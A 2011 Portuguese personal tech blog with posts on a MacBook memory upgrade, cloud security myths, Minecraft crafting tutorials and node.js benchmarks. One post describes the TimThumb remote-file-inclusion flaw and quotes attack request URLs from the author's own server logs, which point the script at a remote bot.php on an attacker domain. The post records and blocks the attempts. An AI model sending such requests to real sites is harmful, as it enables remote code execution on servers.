Blog do Eduardo Costa Meu blog pessoal

30Nov/110

MacBook com 8GB de memória

Eu sempre achei meu MacBook consideravelmente poderoso. Mesmo sendo um dual core, ele é incrivelmente rápido. O único defeito é a memória: 1.5GB (512MB para a placa de vídeo). Para quem usa o Mail e o Safari, é o suficiente. Para quem é como eu e usa NetBeans, Tomcat, Glassfish, XCode, iTunes, Pixelmator, GarageBand e mais outros, não dá. Eu precisava fechar um para abrir o outro. Agora parece um computador para um developer:

Comprei um kit com dois módulos de 4GB da Crucial. Antes, pesquisei um pouco, claro. Essa marca é a "oficial" da Apple. Fiz o pedido direto com o fabricante. Sairia por míseros US$ 75, só que me ferrei no envio, pois a UPS (não confundir com USPS) fez tudo legalmente correto. O que significa que paguei imposto de importação e ICMS (circulação de mercadoria, baby). A facada ficou maior que o preço original. Até maior que o preço aqui no Brasil. Pelo menos, tenho o consolo de ser original, e não algum pirata. Quem não conhece alguém que comprou um Pen Drive Kingston de trocentos GB e descobriu que era um clone com 2GB?

Categorias: geek Sem Comentários
21Nov/110

Sweet Child of Mine

Na lista dos prodígios mirins, temos a pequena Zoe, de 7 anos, que sabe tocar Sweet Child o'Mine numa guitarra. Se não fosse pequenos deslizes de uma ou outra nota no filme inteiro (sim, ela toda a música completa), eu desacreditaria.

21Nov/110

This is my story

Encontrei um site deveras criativo. A música inspiradora gera um clima interessante, mas tecnologicamente também é um show - consegue embutir bem a foto nas cenas. Acho que se a foto fosse melhor, o resultado ficaria mais suavemente encaixado. Mas, fora o problema de usuário com preguiça de arrumar foto melhor, é algo impressionante.

Eis o link: http://www.this-is-my-story.com/v/7Y9E3WQDY649

9Nov/111

Segurança na Nuvem

Segurança na nuvem é um mito clássico. Vamos do básico: o que diferencia um serviço de cloud de um serviço de datacenter ou até uma solução "in-house"? Segundo os descrentes, ter uma equipe de infra e poder "tocar" fisicamente nos servidores é algo imprescindível. Mas, no fundo, é tudo igual. Veja o porquê nessa lista de problemas clássicos:

  • Perda de dados: muitos se borram de medo da nuvem, achando que é possível perder os dados. Alguém ouviu falar em backups? Pode ser um servidor na mesa do dono da empresa ou uma máquina virtualizada na Amazon. Se você não faz cópias de segurança, o risco de perder os dados é o mesmo. Se seu site está disponível em apenas uma máquina, sem nenhuma redundância (load balancing, cluster, etc), você tem apenas um ponto de falha - mais uma vez independente de onde sua máquina está.
  • Segurança: tem medo de alguém roubar seus dados? Persisto em dizer que uma máquina na nuvem é igual a qualquer outra - use criptografia e firewall. O Jet Propulsion Labs da NASA tem toda uma massa de dados sensível, e tudo na Amazon. Colocaram criptografia onde precisava e até um software de firewall customizado para fazer VPN com clientes externos. E sua rede interna? Vai bem? Firewall bem configurado, NAT correta, dados críticos criptografados? E-mail com algum sistema anti-vírus? Acredite se quiser, mas já recebi vírus em e-mail corporativo - o que não acontece nos meus e-mails hospedados no Google Apps.
  • Confiabilidade do provedor: segue a mesma regra da perda de dados - backup, redundância, segurança, etc. Se tem medo do provedor cair, sumir ou roubar seus dados, por que escolheu ele, então? O mesmo que escolher um provedor web de R$ 5/mês: assumir o risco da empresa prestar um péssimo serviço, sumir com os dados ou até te infectar com vírus (já fui infectado em um provedor barato da época de pós-adolescente sem grana). Ou ainda, é o mesmo risco do estagiário mal-remunerado que cuida do servidor fazer um "format c:" ou queimar uma placa.
Em resumo, note que esses mitos na computação em nuvem não são diferentes dos problemas que soluções "in-house" enfrentam. Meu blog está na nuvem e eu tenho as mesmas preocupações de segurança e afins que eu teria se estivesse na sala de casa ou num provedor web. Com a vantagem que não preciso me preocupar com a Eletropaulo faltando com a qualidade de serviço ou em sofrer na mão de suporte que configura mal o host e todos os clientes passam a ter acesso a tudo (sim, já aconteceu comigo - também na época "poor-guy").
Categorias: cloud 1 Comentário
8Nov/110

Memcached, Jira e mais tentativas de invasão

Vamos a boa notícia: como sobraram alguns megas na memória do servidor, instalei um memcached e, agora, o blog usa-o para fazer cache em memória. Nem preciso dizer que a carga do servidor foi lá em baixo. Ou seja, continuo com a máquina mais fuleira da Amazon (míseros 600mb de memória) e ainda consigo hospedar um site inteiro com boa performance. Claro que essa memória liberada foi graças a remoção dos serviços de e-mail (postfix e dovecot) - migrei tudo para o Google Apps.

Estou testando também o Jira On-Demand. A intenção é substituir o horrível Mantis por algo mais útil e, de bônus, não precisar gerenciar mais um servidor. US$ 10 por mês seria o custo de uma instância t1.micro na Amazon, com a desvantagem que o Jira ajuda no bom nome do Java sendo absurdamente pesado, inviabilizando usar uma instância tão simples. Então, prefiro pagar US$ 10 em algo que eu não precise dar manutenção - com a vantagem que, se o Jira provar seu valor (tenho ainda um mês de trial), eu posso fazer uma assinatura anual e derrubar o custo para uns US$ 8 por mês! Com isso, meus projetos na Apple Store ganham uma URL mais profissional e amigável.

Como nem tudo são flores, fui dar uma entrada rápida na home do meu blog no trabalho para testar a velocidade em outra rede, quando, mais uma vez, estava tudo travado - algo estranho para um site que devia estar super-rápido. Na hora do almoço, entrei no servidor e descobri script-kiddies tentando invadir o sistema. Dessa vez foram dois de uma vez, e com o mesmo truque. Existe um tal de TimThumb, que contém uma verdadeira cratera de segurança: ele aceita receber conteúdo externo vindo de sites como "youtube.com", "wordpress.com" e afins, mas não só aceita código executável (!!!), como também valida o remetente via "substring" (sim, aceita "wordpress.com.hostdail.com", por exemplo!!!!!).

Lindo, típico serviço de alguém que aprender a programar ontem. O divertido foi como descobriram a falha. O blog do criador do "plugin" foi invadido por uma broca em sua própria criação. Depois tem gente que pergunta por que não gosto de libs. Eu não uso esse traste, nem meu tema usa, mas hoje, novamente, meu servidor foi a 100% graças a dois idiotas que não sabem processar códigos de erro HTTP (sim, novamente). Olhando nos logs, descobri que o casal 1/20 tentava carregar os seguintes endereços:

  • //wp-content/themes/boast/functions/_tbs.php?src=http://wordpress.com.hostdail.com/logs/logs.php
  • //wp-content/themes/boast/functions/timthumb.php?src=http://wordpress.com.hostdail.com/bot.ph
  • /category/geek//wp-content/themes/boast/functions/_tbs.php?src=http://wordpress.com.hostdail.com/
    bot.php

Sim, com duas barras Deus-sabe-o-porquê, e um tema que não tenho instalado. Seria só mais uma tentativa frustrada se "Debi e Lóide" não ficassem tentando os mesmos endereços incessantemente. Detalhe: esses arquivos nem existem! Já criei uma categoria para o que faço de configuração em servidores - daqui a pouco, com tanta besteira que estou pegando, vou ter que criar um blog inteiro!

PS: Agora, virou os três patetas... O terceiro idiota acabou de tentar invadir. Pelo menos, esse tentou com mais de uma URL. Ele era britânico (server1.edjeavons.co.uk) e agora faz parte dos meus bloqueios do iptables.

7Nov/110

Mais uma do Lomadee

Estava eu vendo as opções de lojas que tem no Lomadee, quando encontrei a MegaTNT. Seria somente mais uma loja de eletrônicos e afins, mas descobri uma categoria chamada "bugingangas". Fiquei curioso e entrei. Encontrei algumas coisas bem nerds:

Tem mais umas coisas legais (que nem as camisas animadas), mas cansei de copiar e colar links... :)

7Nov/110

Último CD

Eu quis testar os "links lomadizados". Escolhi, então, um produto que deve agradar metade dos visitantes (doravante, lembrarei que quantidade não é diretamente proporcional a qualidade).

CD "De Pele, Alma e Coração" do cantor Eduardo Costa

Sim, SEO e SEM usados de uma forma que não corresponde a meu status quo. Clara e evidentemente não orgulho-me.

PS: Ainda para aumentar o ranking, poderia ser dito: "Eduardo Costa morreu?" ou "Acidente do Eduardo Costa" - funciona, acredite!
5Nov/115

Construindo Janelas no Minecraft

Atendendo aos singelos pedidos dos fãs (quem dera), estou criando um tutorial sobre janelas no Minecraft. Na verdade, é um tutorial sobre buracos com vidros, pois ainda não existe uma "janela" propriamente dita (que nem existe a "porta").

Desde a versão 1.8beta, existem dois tipos de vidro: blocos de vidro (Glass) e painéis de vidro (Glass Pane). O primeiro é um bloco igual aos outros. O segundo "emenda" com seus vizinhos, formando caminhos, igual a Redstone ou a cerca (Fence). Veja a diferença visual entre os dois:

O bloco ocupa o espaço 1x1 completo, enquanto o painel é mais claro e apenas ocupa uma "linha" do bloco. Veja o que acontece com o painel quando o bloco de pedra do lado é removido:

Tem um Creeper posando para a foto. Repare que o painel ficou com metade do tamanho original. No dia cúbico seguinte, depois que o verdão abriu uma área enorme para mim, fiz a janela de vidro virar uma parede:

Repare que o painel pode fazer "curvas" (zigue-zague, na verdade). Chega de reparar nas coisas, vamos à receita!

Primeiro, você precisa de uma fornalha (veja aqui como fazer uma), carvão e areia. Areia você obtém escavando os blocos de cor creme:

Basta usar a fornalha e o carvão para "cozinhar" blocos de vidro:

Os blocos são usados que nem outros blocos, mas também podem ser matéria-prima para os painéis:

Quem é bom em matemática reparou que os painéis são mais rentáveis, pois seis blocos de areia geram seis blocos e vidro ou dezesseis painéis. Como tudo na vida, tem que haver uma desvantagem. Não funcionam na horizontal (tetos de vidro, só com blocos). Você precisa tomar mais cuidado com os painéis: uma árvore ao crescer "remove" os painéis que estiverem no caminho. Os monstros conseguem te atacar se o painel não estiver completo: o tal Creeper explodiu por uma fresta que deixei para testar), aranhas podem passar se você deixar um buraco no meio de dois painéis, esqueletos te perfuram com as flechas, etc. E outros exemplos devem existir.

5Nov/110

Sobrevivendo no Minecraft sem Carvão

Quando publiquei meu primeiro post sobre o Minecraft, não considerei a possibilidade de não encontrar carvão. É triste, mas acontece. Fui fazer um segundo tutorial usando um novo mundo, surpreendentemente não encontrei carvão nas redondezas e metade do dia passou (você sabe que é meio-dia pela música que toca).

O que fazer? Começar de novo? Não! Vamos improvisar.

Vamos considerar meu primeiro tutorial como base. Você vai seguindo-o e não encontra carvão fácil - só árvores e pedras. Troquemos a ordem dos tratores e começar do final - a parte que chamei de "receitas úteis". Comece depenando duas ou mais árvores, ao invés de uma. Só que você deverá deixar uns quatro blocos de madeira (Wood) sem transformar em tábuas. Agora, com sua picareta de madeira, escave oito blocos de pedra (Stone) e pegue os paralelepípedos (Cobblestone).

Com isso, você já pode escavar o "abrigo temporário". Não escave muito, pois ainda falta carvão para as tochas e, em Minecraft, medo de escuro é um hábito saudável.

Vamos então construir a fornalha (furnace). Coloque oito cobblestones, usando a crafting table, fazendo um "O":

Ela funciona similar a "crafting table", abrindo uma categoria de receitas chamada "smelting" (o nome literal em português seria "processo de redução"). Ponha o forno no chão e entre nele com o botão direito. Tem três áreas apenas: a de baixo é o combustível, a de cima é o item a "reduzir" e na direita fica o resultado. Coloque um bloco de madeira como combustível e um em cima. O resultado é carvão!

Usar blocos de madeira como combustível não é prático, pois duram pouco (cada bloco de madeira gera apenas UM carvão). Use o primeiro carvão que você fez para criar os próximos!

Nesse ponto, você já pode continuar com o tutorial, criando as tochas, depois o abrigo e seguir com sua vida cúbica!

3Nov/110

Santa Ignorância, node.js! – Parte 2

Minhas experiências em casa com o node.js vão andando. Fiz uma pesquisa ingênua no Google para ver se existe algum blog "powered by node.js" e achei o "blog do node.js". Cliquei para ver qual a implementação que eles usam e, claro, era WordPress. Casa de ferreiro, espeto de pau.

A parte interessante foi ver as diferenças entre a versão 0.4 (que eu estou estudando) e a 0.6 (ainda não lançada). Algumas coisas interessantes, não seria nada de outro mundo, exceto pelo novo recurso de clustering.

Sim! Agora o node.js vai suportar usar mais de um core! Refiz os testes de segunda-feira e a velocidade pulou de 13 mil requisições por segundo para mais de 24 mil! O Sr. Ignorância conseguiu superar o Apache! Apesar que esse número mágico (23 mil do httpd versus 24 mil do node.js) me aparenta ser um limite máximo causado por algum outro fator (rede loopback, concorrência com o ab, etc).

Pensei em testar com uma aplicação mais complexa (usando o módulo Express do node.js). Ela aguenta 3 mil requisições por segundo no v0.4, mas o Express não funciona direito na v0.6! Lá se vão meus 5 minutos de prazo para testar - fica para a próxima. Não obstante, facilita muito minha vida saber que o node.js vai ter mais esse recurso.

PS: Aos que não conhecem, o node.js é um "executor" de Javascript. Sim, basicamente ele só executa JS. As principais vantagens dele são: um belo dum engine (o veloz V8 da Google) e sua incrível API (suficientemente completa e massivamente event-driven). Como muitas aplicações web são I/O-bound, ou seja, perdem muito tempo lendo do disco, trafegando na rede, etc, essa "inversão de controle" é altamente benéfica - os números provam isso.